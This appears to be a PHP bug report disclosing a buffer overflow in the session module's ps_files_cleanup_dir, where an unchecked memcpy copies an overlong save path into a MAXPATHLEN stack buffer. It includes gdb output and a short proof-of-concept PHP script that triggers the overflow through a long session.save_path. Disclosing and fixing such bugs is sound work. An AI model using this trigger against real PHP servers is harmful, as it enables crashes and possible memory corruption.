Description:
------------
ext/session/mod_files.c:276
static int ps_files_cleanup_dir(const char *dirname, zend_long maxlifetime)
{
	...
	char buf[MAXPATHLEN];
	...
	dirname_len = strlen(dirname);

	memcpy(buf, dirname, dirname_len);
...
buf is static buffer declared with size MAXPATHLEN ( 256 bytes )
length of dirname never check with MAXPATHLEN 
when dirname len > 256 it will overflow

When run php under debugger we observered:

Breakpoint 2, ps_files_cleanup_dir (dirname=0xf7a72000 'A' <repeats 200 times>..., maxlifetime=0x5a0) at /home/suto/php-src-master/ext/session/mod_files.c:298
298		memcpy(buf, dirname, dirname_len);
gdb$ p dirname_len 
$1 = 0xfb0

0xfb0 is len of directory we created and larger more than 256.



Test script:
---------------
$fname =  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
$dirname = str_repeat($fname,16);
//wp_mkdir_p($dirname); Make a directory with name $fname
ini_set('session.save_path',$dirname);
ini_set('session.gc_probability', 1000);
session_start();